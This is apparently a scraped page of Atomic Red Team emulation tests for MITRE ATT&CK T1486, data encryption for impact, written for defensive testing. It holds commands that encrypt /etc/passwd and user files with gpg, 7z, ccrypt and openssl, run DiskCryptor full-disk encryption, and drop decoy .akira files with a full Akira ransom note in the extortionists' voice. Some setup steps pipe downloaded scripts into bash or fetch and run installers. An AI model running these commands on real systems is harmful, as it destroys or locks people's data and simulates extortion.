Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020) In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)
Atomic Test #4 - Encrypt files using openssl (FreeBSD/Linux)
Atomic Test #7 - Encrypt files using openssl utility - macOS
Atomic Test #10 - Akira Ransomware drop Files with .akira Extension and Ransomnote
Uses gpg to encrypt a file
Supported Platforms: Linux
auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765
| Name | Description | Type | Default Value | |——|————-|——|—————| | pwd_for_encrypted_file | the password that you want for the encrypted file | string | passwd| | encrypted_file_path | path to the encrypted file | path | /tmp/passwd.gpg| | input_file_path | path to the file that you want to encrypt | path | /etc/passwd| | encryption_alg | encryption algorithm of the file | string | AES-256|
1
sh
1
echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}
1
rm #{encrypted_file_path}
1
bash
1
which_gpg=`which gpg`
1
(which pkg && pkg install -y gnupg)||(which yum && yum -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg)
Uses 7z to encrypt a file
Supported Platforms: Linux
auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad
| Name | Description | Type | Default Value | |——|————-|——|—————| | pwd_for_encrypted_file | the password that you want for the encrypted file | string | passwd| | encrypted_file_path | path to the encrypted file | path | /tmp/passwd.zip| | input_file_path | path to the file that you want to encrypt | path | /etc/passwd|
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sh
1
$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}
1
2
$which_7z e #{encrypted_file_path}
rm #{encrypted_file_path}
1
bash
1
which_7z=`which 7z`
1
(which pkg && pkg install -y 7-zip)
Attempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user’s home directory.
Supported Platforms: Linux
auto_generated_guid: 08cbf59f-85da-4369-a5f4-049cffd7709f
| Name | Description | Type | Default Value | |——|————-|——|—————| | cped_file_path | path where you want your copied file to be | path | /tmp/passwd| | root_input_file_path | path to the file that you want to be encrypted if you are root user | path | /etc/passwd| | user_input_file_path | path to file that you want to be encrypted if you are normal user | path | ~/.bash_history| | impact_command | command to show impact of encryption | string | sudo su|
1
sh
1
if [ $USER == "root" ]; then $which_ccencrypt #{root_input_file_path}; file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi
1
if [ $USER == "root" ]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi
1
sh
1
2
3
which_ccencrypt=`which ccencrypt`
which_ccdecrypt=`which ccdecrypt`
if [ $USER == "root" ]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi
1
(which pkg && pkg install -y ccript)||(which yum && yum -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt)
Uses openssl to encrypt a file
Supported Platforms: Linux
auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1
| Name | Description | Type | Default Value | |——|————-|——|—————| | private_key_path | path to the private key | path | /tmp/key.pem| | public_key_path | path to the public key | path | /tmp/pub.pem| | encryption_bit_size | size of the bit of encryption | integer | 2048| | encrypted_file_path | path to the encrypted file | path | /tmp/passwd.zip| | input_file_path | path to the file that you want to encrypt | path | /etc/passwd|
1
sh
1
2
3
$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}
1
2
$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path}
rm #{encrypted_file_path}
1
bash
1
which_openssl=`which openssl`
1
building the IOC (YOUR_FILES.txt) for the PureLocker ransomware https://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/
Supported Platforms: Windows
auto_generated_guid: 649349c7-9abf-493b-a7a2-b1aa4d141528
1
command_prompt
echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt
del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1
This test encrypts the file(s) using the 7z utility
Supported Platforms: macOS
auto_generated_guid: 645f0f5a-ef09-48d8-b9bc-f0e24c642d72
| Name | Description | Type | Default Value | |——|————-|——|—————| | file_password | Password to be provided for archiving the file | string | ARTPass| | encrypted_file_name | Name of the archive to be created | string | ARTArchive.7z| | input_file_path | Path to the file that you want to encrypt | path | ~/test.txt|
1
sh
1
7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}
1
rm #{encrypted_file_name}
1
sh
1
which 7z
1
2
3
echo Installing 7z, using brew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew install p7zip
This test encrypts the file(s) using the openssl utility
Supported Platforms: macOS
auto_generated_guid: 1a01f6b8-b1e8-418e-bbe3-78a6f822759e
| Name | Description | Type | Default Value | |——|————-|——|—————| | encryption_option | Specifiy the required encryption option | string | -pbkdf2| | input_file_path | Path to the file that you want to encrypt | path | ~/test.txt| | output_file_name | Path to the file that you want to encrypt | string | ARTFile|
1
sh
1
openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}
1
rm #{output_file_name}
Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.
Supported Platforms: Windows
auto_generated_guid: 4541e2c2-33c8-44b1-be79-9161440f1718
| Name | Description | Type | Default Value | |——|————-|——|—————| | GPG_Exe_Location | Path of the GPG program | path | C:\Program Files (x86)\GnuPG\bin\gpg.exe| | File_to_Encrypt_Location | Path of File | path | $env:temp\test.txt|
1
powershell
1
cmd /c '#{GPG_Exe_Location}' -c '#{File_to_Encrypt_Location}'
1
remove-item '#{File_to_Encrypt_Location}.gpg' -force -erroraction silentlycontinue | out-null
1
powershell
1
if (test-path '#{GPG_Exe_Location}'){exit 0} else {exit 1}
1
2
3
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://files.gpg4win.org/gpg4win-4.1.0.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe"
cmd /c "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe" /S
DiskCryptor, an open source encryption utility, can be exploited by adversaries for encrypting all disk partitions, including system partitions. This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/. The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor. During the installation process, running dcrypt.exe starts the encryption console. It’s important to note that a system reboot is necessary as part of the installation.
Supported Platforms: Windows
auto_generated_guid: 44b68e11-9da2-4d45-a0d9-893dabd60f30
| Name | Description | Type | Default Value | |——|————-|——|—————| | dcrypt_exe | The dcrypt.exe executable from dcrypt_setup.exe | path | dcrypt.exe|
1
command_prompt
""%PROGRAMFILES%\dcrypt"\#{dcrypt_exe}"
1
powershell
1
if (Test-Path "${env:ProgramFiles}/dcrypt/#{dcrypt_exe}") {exit 0} else {exit 1}
1
2
3
4
5
Write-Host Downloading DiskCryptor installer
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/DavidXanatos/DiskCryptor/releases/download/1.1.846.118/dcrypt_setup_1.1.846.118.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe"
Write-Host Install DiskCryptor
Start-Process "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe" -Wait -ArgumentList "/s"
Dropping 100 files with random content and .akira File Extension and the Akira Ransomnote to c:\
Supported Platforms: Windows
auto_generated_guid: ab3f793f-2dcc-4da5-9c71-34988307263f
1
powershell
1
2
3
4
5
6
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8
9
10
11
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13
14
15
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21
1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes("c:\test.$_.akira", $out) }
echo "Hi friends" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: " >> $env:Userprofile\Desktop\akira_readme.txt
echo "1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal" >> $env:Userprofile\Desktop\akira_readme.txt
echo "2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won't be able to help. " >> $env:Userprofile\Desktop\akira_readme.txt
echo "3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data." >> $env:Userprofile\Desktop\akira_readme.txt
echo "4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones." >> $env:Userprofile\Desktop\akira_readme.txt
echo "Then all of this will be published in our blog -" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/." >> $env:Userprofile\Desktop\akira_readme.txt
echo "2. Paste this link — https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
echo "3. Use this code - - to log into our chat." >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Keep in mind that the faster you will get in touch, the less damage we cause" >> $env:Userprofile\Desktop\akira_readme.txt
1
2
del $env:Userprofile\Desktop\akira_readme.txt
del c:\test.*.akira